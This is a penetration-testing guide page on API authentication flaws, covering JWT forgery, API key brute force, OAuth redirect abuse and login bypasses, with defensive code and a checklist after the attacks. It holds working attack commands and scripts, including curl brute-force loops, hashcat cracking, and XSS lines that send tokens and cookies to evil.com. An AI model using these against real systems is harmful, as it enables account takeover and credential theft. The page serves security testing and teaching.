> For the complete documentation index, see [llms.txt](https://reaper.gitbook.io/my-penetration-test-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reaper.gitbook.io/my-penetration-test-guide/web-based-attacks/api-security-testing/api-authentication-flaws.md).

# API authentication flaws

### What are API Authentication Flaws?

API authentication flaws are vulnerabilities in how APIs verify user identity and manage access credentials. These flaws allow attackers to bypass authentication mechanisms, impersonate legitimate users, or gain unauthorized access to protected resources. Unlike web application authentication that often relies on sessions and cookies, API authentication typically uses tokens, keys, or certificates, creating unique attack vectors specific to API architectures.

### Vulnerable Scenario Example

**Weak JWT Implementation:**

```http
# User login request
POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": "user@example.com",
  "password": "password123"
}

# Server response with JWT token
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoidXNlckBleGFtcGxlLmNvbSIsInJvbGUiOiJ1c2VyIn0."
}

# Attack: Modify JWT payload to escalate privileges
# Decoded payload: {"user":"user@example.com","role":"user"}
# Modified payload: {"user":"user@example.com","role":"admin"}
# New token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoidXNlckBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiJ9.

# Using modified token
GET /api/admin/users HTTP/1.1
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoidXNlckBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiJ9.
```

**Attack Result:** The API accepts the modified JWT with "none" algorithm, granting admin access without proper signature verification.

### How API Authentication Attacks Work

API authentication flaws exploit weaknesses in credential validation, token handling, session management, and authorization logic. Attackers manipulate authentication tokens, exploit weak cryptographic implementations, or bypass authentication entirely through logic flaws and misconfigurations.

#### Authentication Attack Flow

1. **Reconnaissance** - Identify authentication mechanisms and endpoints
2. **Credential Testing** - Test for weak credentials and brute force vulnerabilities
3. **Token Analysis** - Examine token structure, algorithms, and validation
4. **Bypass Techniques** - Attempt authentication bypass through various methods
5. **Privilege Escalation** - Manipulate tokens or parameters to gain elevated access
6. **Session Management** - Test session handling and token lifecycle

### Impact and Consequences

* **Complete Account Takeover** - Full access to user accounts and data
* **Privilege Escalation** - Regular users gaining administrative access
* **Data Breaches** - Unauthorized access to sensitive information
* **Business Logic Bypass** - Circumventing intended application workflows
* **Financial Fraud** - Unauthorized transactions and monetary theft
* **Regulatory Violations** - GDPR, HIPAA, PCI-DSS compliance failures
* **Service Disruption** - DoS through authentication mechanism abuse

### Core API Authentication Vulnerabilities

#### JWT (JSON Web Token) Vulnerabilities

JWT tokens are widely used in APIs but contain numerous security pitfalls when improperly implemented.

**Algorithm Confusion (None Algorithm):**

```http
# Original JWT with HS256 algorithm
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.signature

# Attack: Change algorithm to 'none'
# Header: {"typ":"JWT","alg":"none"}
# Payload: {"user":"john","role":"admin"}
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9.
```

**Key Confusion Attack:**

```http
# Server uses RS256 (public key verification)
# Attack: Force server to use HS256 with public key as HMAC secret

# Modified header
{
  "typ": "JWT",
  "alg": "HS256"
}

# Sign with public key as HMAC secret
# If server doesn't verify algorithm, it might accept HMAC signature
```

**Weak Secret Brute Force:**

```bash
# Using hashcat to crack JWT secret
hashcat -a 0 -m 16500 jwt_token.txt wordlist.txt

# Using john the ripper
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

# Common weak secrets to test
# "secret", "key", "password", "jwt", "token"
```

**JWT Parameter Injection:**

```json
# Inject additional claims
{
  "sub": "user123",
  "role": "user",
  "admin": true,
  "permissions": ["read", "write", "delete"],
  "exp": 9999999999
}
```

#### API Key Vulnerabilities

API keys are simple but often poorly implemented authentication mechanisms.

**API Key in URL Parameters:**

```http
# Insecure: API key in URL (logged in web server logs)
GET /api/users?api_key=sk_live_abcd1234567890 HTTP/1.1

# Attack: Extract from server logs, referrer headers, browser history
```

**Predictable API Keys:**

```http
# Weak key generation patterns
GET /api/data HTTP/1.1
X-API-Key: user123_key_2024

# Test predictable patterns
X-API-Key: user124_key_2024
X-API-Key: admin_key_2024
X-API-Key: test_key_2024
```

**API Key Enumeration:**

```bash
# Brute force API keys
for i in {1000..9999}; do
  curl -H "X-API-Key: app_${i}" https://api.target.com/users
done

# Test common API key formats
curl -H "X-API-Key: sk_live_${random}" https://api.target.com
curl -H "X-API-Key: pk_test_${random}" https://api.target.com
```

#### OAuth 2.0 Implementation Flaws

OAuth flows contain multiple security vulnerabilities when improperly implemented.

**Authorization Code Theft:**

```http
# Redirect URI manipulation
GET /oauth/authorize?client_id=123&redirect_uri=https://attacker.com&response_type=code HTTP/1.1

# PKCE bypass attempt
GET /oauth/authorize?client_id=123&code_challenge=fake&code_challenge_method=plain HTTP/1.1
```

**Token Endpoint Attacks:**

```http
# Client secret brute force
POST /oauth/token HTTP/1.1
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=AUTH_CODE&client_id=123&client_secret=GUESSED_SECRET

# Authorization code replay
POST /oauth/token HTTP/1.1
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=OLD_CODE&client_id=123
```

#### Basic Authentication Vulnerabilities

Despite being simple, Basic Auth is still vulnerable to various attacks.

**Credential Brute Force:**

```bash
# Using hydra for Basic Auth brute force
hydra -L userlist.txt -P passlist.txt -s 443 -S target.com https-get /api/

# Using Burp Intruder
# Base64 encode credentials: user:pass -> dXNlcjpwYXNz
# Test with Authorization: Basic dXNlcjpwYXNz
```

**Base64 Decoding:**

```bash
# Intercept Basic Auth header
# Authorization: Basic YWRtaW46cGFzc3dvcmQ=

# Decode credentials
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d
# Output: admin:password
```

### API Authentication Testing Methodology

#### Authentication Mechanism Discovery

**Using Burp Suite:**

```
1. Configure Burp proxy for target application
2. Browse application to generate traffic
3. Analyze authentication-related requests:
   - Login endpoints
   - Token refresh endpoints
   - Logout functionality
4. Identify authentication headers and parameters
5. Document authentication flow
```

**Manual Discovery with curl:**

```bash
# Test for authentication requirements
curl -v https://api.target.com/users

# Look for authentication headers in response
# WWW-Authenticate: Basic realm="API"
# WWW-Authenticate: Bearer realm="API"

# Test different authentication methods
curl -H "Authorization: Bearer test" https://api.target.com/users
curl -H "X-API-Key: test" https://api.target.com/users
curl -u test:test https://api.target.com/users
```

#### JWT Security Testing

**Using jwt.io for Analysis:**

```
1. Visit https://jwt.io/
2. Paste JWT token in debugger
3. Analyze header and payload
4. Identify algorithm used
5. Test algorithm confusion attacks
6. Modify payload for privilege escalation
```

**JWT Testing with Burp Suite:**

```
1. Install JWT Editor extension
2. Capture requests containing JWT tokens
3. Use JWT Editor to:
   - Modify token payload
   - Change algorithm to 'none'
   - Test key confusion attacks
   - Generate new tokens with weak secrets
4. Send modified requests and analyze responses
```

**Automated JWT Testing:**

```bash
# Using jwt_tool for comprehensive testing
python3 jwt_tool.py -t https://api.target.com/profile -rh "Authorization: Bearer TOKEN" -M at

# Test specific vulnerabilities
python3 jwt_tool.py TOKEN -X a  # Algorithm confusion
python3 jwt_tool.py TOKEN -X k  # Key confusion
python3 jwt_tool.py TOKEN -C -d wordlist.txt  # Secret cracking
```

#### API Key Testing

**Using Postman:**

```
1. Create new request to API endpoint
2. Test different API key locations:
   - Header: X-API-Key, Authorization, API-Key
   - Query parameter: api_key, key, token
   - Body parameter (for POST requests)
3. Test key enumeration and brute force
4. Check for key reuse across different endpoints
```

**Burp Intruder for Key Brute Force:**

```
1. Capture API request with key parameter
2. Send to Intruder
3. Set API key value as payload position
4. Load wordlist with common API key patterns
5. Configure attack type (Sniper for single parameter)
6. Start attack and analyze responses
7. Look for different status codes or response lengths
```

#### OAuth Flow Testing

**Using OWASP ZAP:**

```
1. Configure ZAP proxy
2. Follow complete OAuth flow manually
3. Review OAuth-related requests in ZAP history
4. Test for common OAuth vulnerabilities:
   - Open redirect in redirect_uri
   - State parameter manipulation
   - PKCE bypass attempts
   - Token endpoint parameter pollution
```

**Manual OAuth Testing:**

```bash
# Test redirect URI validation
curl "https://auth.target.com/oauth/authorize?client_id=123&redirect_uri=https://evil.com&response_type=code"

# Test state parameter handling
curl "https://auth.target.com/oauth/authorize?client_id=123&state=../../etc/passwd&response_type=code"

# Test token endpoint
curl -X POST https://auth.target.com/oauth/token \
  -d "grant_type=authorization_code&code=test&client_id=123&client_secret=test"
```

### Advanced Authentication Attack Techniques

#### Session Fixation and Hijacking

**Token Fixation:**

```http
# Force user to use attacker-controlled token
GET /api/login?force_token=attacker_controlled_token HTTP/1.1

# If successful, attacker can use the same token
GET /api/profile HTTP/1.1
Authorization: Bearer attacker_controlled_token
```

**Token Theft via XSS:**

```javascript
// If JWT stored in localStorage (vulnerable to XSS)
fetch('https://evil.com/steal?token=' + localStorage.getItem('jwt_token'));

// Stealing from cookies (if not httpOnly)
fetch('https://evil.com/steal?cookie=' + document.cookie);
```

#### Race Condition Attacks

**Concurrent Authentication Attempts:**

```bash
# Multiple simultaneous login attempts to bypass rate limiting
for i in {1..10}; do
  curl -X POST https://api.target.com/login \
    -d "username=admin&password=admin$i" &
done
wait
```

**Token Race Conditions:**

```bash
# Simultaneous token usage and refresh
curl -H "Authorization: Bearer $TOKEN" https://api.target.com/profile &
curl -X POST -H "Authorization: Bearer $TOKEN" https://api.target.com/refresh &
```

#### Authentication Bypass Techniques

**HTTP Method Override:**

```http
# If authentication only checks POST requests
GET /api/admin/users HTTP/1.1
X-HTTP-Method-Override: POST

# Try different methods
PUT /api/admin/users HTTP/1.1
PATCH /api/admin/users HTTP/1.1
```

**Parameter Pollution:**

```http
# Test multiple authentication parameters
POST /api/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=user&password=wrong&username=admin&password=admin
```

**Content-Type Manipulation:**

```http
# Original JSON request
POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "user", "password": "wrong"}

# Try form-encoded
POST /api/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin&admin=true
```

### Business Logic Authentication Flaws

#### Multi-Step Authentication Bypass

**Step Skipping:**

```http
# Normal flow: /login -> /verify-otp -> /profile
# Attack: Skip OTP verification
POST /api/login HTTP/1.1
{"username": "user", "password": "password"}

# Skip directly to profile without OTP
GET /api/profile HTTP/1.1
Authorization: Bearer partial_auth_token
```

**State Manipulation:**

```http
# Manipulate authentication state parameters
POST /api/verify-otp HTTP/1.1
Content-Type: application/json

{
  "otp": "123456",
  "username": "user",
  "authenticated": true,
  "step_completed": "otp_verification"
}
```

#### Password Reset Vulnerabilities

**Token Manipulation:**

```http
# Password reset request
POST /api/forgot-password HTTP/1.1
{"email": "user@example.com"}

# Manipulate reset token
POST /api/reset-password HTTP/1.1
{
  "token": "manipulated_token",
  "password": "newpassword123",
  "email": "admin@example.com"
}
```

**Race Condition in Reset:**

```bash
# Simultaneous reset token usage
curl -X POST https://api.target.com/reset-password \
  -d "token=RESET_TOKEN&password=password1" &
curl -X POST https://api.target.com/reset-password \
  -d "token=RESET_TOKEN&password=password2" &
```

### API Authentication Testing Tools

#### Specialized Authentication Testing Tools

**JWT\_Tool:**

```bash
# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt

# Comprehensive JWT testing
python3 jwt_tool.py -t https://api.target.com/profile \
  -rh "Authorization: Bearer TOKEN" \
  -M at  # All tests mode
```

**Postman for API Authentication:**

```
1. Create environment variables for tokens and credentials
2. Set up pre-request scripts for dynamic token generation
3. Create test collections for different auth methods
4. Use Postman Runner for automated testing
5. Implement token refresh logic in scripts
```

**Burp Suite Extensions:**

```
Essential extensions for API auth testing:
- JWT Editor: JWT manipulation and testing
- Autorize: Authorization testing
- AuthMatrix: Multi-user authorization testing
- JSON Web Tokens: JWT analysis
- OAuth Scanner: OAuth flow testing
```

#### Manual Testing Tools

**curl for Authentication Testing:**

```bash
# Test different auth methods
curl -H "Authorization: Bearer $TOKEN" https://api.target.com/users
curl -H "X-API-Key: $KEY" https://api.target.com/users
curl -u username:password https://api.target.com/users

# Token manipulation
curl -H "Authorization: Bearer modified_token" https://api.target.com/users

# Header fuzzing
curl -H "X-Auth-Token: $TOKEN" https://api.target.com/users
curl -H "API-Key: $TOKEN" https://api.target.com/users
```

**Python Requests for Complex Testing:**

```python
import requests
import base64
import json

# JWT manipulation
def test_jwt_modification(token):
    # Decode JWT
    header, payload, signature = token.split('.')
    
    # Decode payload
    decoded_payload = json.loads(base64.urlsafe_b64decode(payload + '=='))
    
    # Modify role
    decoded_payload['role'] = 'admin'
    
    # Re-encode
    new_payload = base64.urlsafe_b64encode(
        json.dumps(decoded_payload).encode()
    ).decode().rstrip('=')
    
    # Create new token (without signature verification)
    new_token = f"{header}.{new_payload}."
    
    # Test with modified token
    response = requests.get(
        'https://api.target.com/admin',
        headers={'Authorization': f'Bearer {new_token}'}
    )
    
    return response.status_code, response.text

# API key brute force
def brute_force_api_key(endpoint, key_pattern):
    for i in range(1000, 9999):
        key = key_pattern.format(i)
        response = requests.get(
            endpoint,
            headers={'X-API-Key': key}
        )
        
        if response.status_code == 200:
            print(f"Valid API key found: {key}")
            return key
    
    return None
```

### Defense Against Authentication Flaws

#### JWT Security Best Practices

**Secure JWT Implementation:**

```javascript
// Node.js example with proper JWT handling
const jwt = require('jsonwebtoken');
const crypto = require('crypto');

// Generate strong secret
const JWT_SECRET = crypto.randomBytes(64).toString('hex');

// Create JWT with proper settings
function createJWT(payload) {
    return jwt.sign(payload, JWT_SECRET, {
        algorithm: 'HS256',  // Specify algorithm
        expiresIn: '1h',     // Set expiration
        issuer: 'api.company.com',
        audience: 'web-app'
    });
}

// Verify JWT securely
function verifyJWT(token) {
    try {
        return jwt.verify(token, JWT_SECRET, {
            algorithms: ['HS256'],  // Whitelist algorithms
            issuer: 'api.company.com',
            audience: 'web-app'
        });
    } catch (error) {
        return null;  // Invalid token
    }
}
```

#### API Key Security

**Secure API Key Management:**

```javascript
// Generate cryptographically secure API keys
const crypto = require('crypto');

function generateAPIKey() {
    return 'sk_' + crypto.randomBytes(32).toString('hex');
}

// Secure API key validation
function validateAPIKey(providedKey, storedHashedKey) {
    const hashedProvided = crypto
        .createHash('sha256')
        .update(providedKey)
        .digest('hex');
    
    return crypto.timingSafeEqual(
        Buffer.from(hashedProvided),
        Buffer.from(storedHashedKey)
    );
}
```

#### Rate Limiting and Monitoring

**Authentication Rate Limiting:**

```javascript
// Express.js rate limiting example
const rateLimit = require('express-rate-limit');

const authLimiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15 minutes
    max: 5, // 5 attempts per window
    message: 'Too many authentication attempts',
    standardHeaders: true,
    legacyHeaders: false,
});

app.use('/api/login', authLimiter);
```

#### Secure Authentication Headers

**HTTP Security Headers:**

```javascript
// Express.js security headers
app.use((req, res, next) => {
    res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
    res.setHeader('X-Content-Type-Options', 'nosniff');
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('X-XSS-Protection', '1; mode=block');
    next();
});
```

### Checklist

#### Authentication Mechanism Analysis

* [ ] Identify all authentication methods used
* [ ] Document authentication flow and endpoints
* [ ] Analyze token structure and algorithms
* [ ] Test for multiple authentication methods

#### JWT Security Testing

* [ ] Test algorithm confusion attacks
* [ ] Attempt secret brute forcing
* [ ] Test token manipulation and injection
* [ ] Verify proper signature validation
* [ ] Check token expiration handling

#### API Key Security

* [ ] Test for keys in URLs or logs
* [ ] Attempt key enumeration and brute force
* [ ] Check for key reuse across services
* [ ] Test key rotation mechanisms

#### OAuth Implementation

* [ ] Test redirect URI validation
* [ ] Check state parameter handling
* [ ] Test PKCE implementation
* [ ] Verify token endpoint security

#### Business Logic Testing

* [ ] Test multi-step authentication bypass
* [ ] Check for race conditions
* [ ] Test password reset functionality
* [ ] Verify session management

#### General Security

* [ ] Test rate limiting on auth endpoints
* [ ] Check for authentication in error messages
* [ ] Verify secure transmission (HTTPS)
* [ ] Test logout and token invalidation

API authentication flaws represent some of the most critical vulnerabilities in modern applications, as they provide direct access to protected resources and sensitive data. Understanding various authentication mechanisms and their specific vulnerabilities is essential for comprehensive API security testing.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reaper.gitbook.io/my-penetration-test-guide/web-based-attacks/api-security-testing/api-authentication-flaws.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
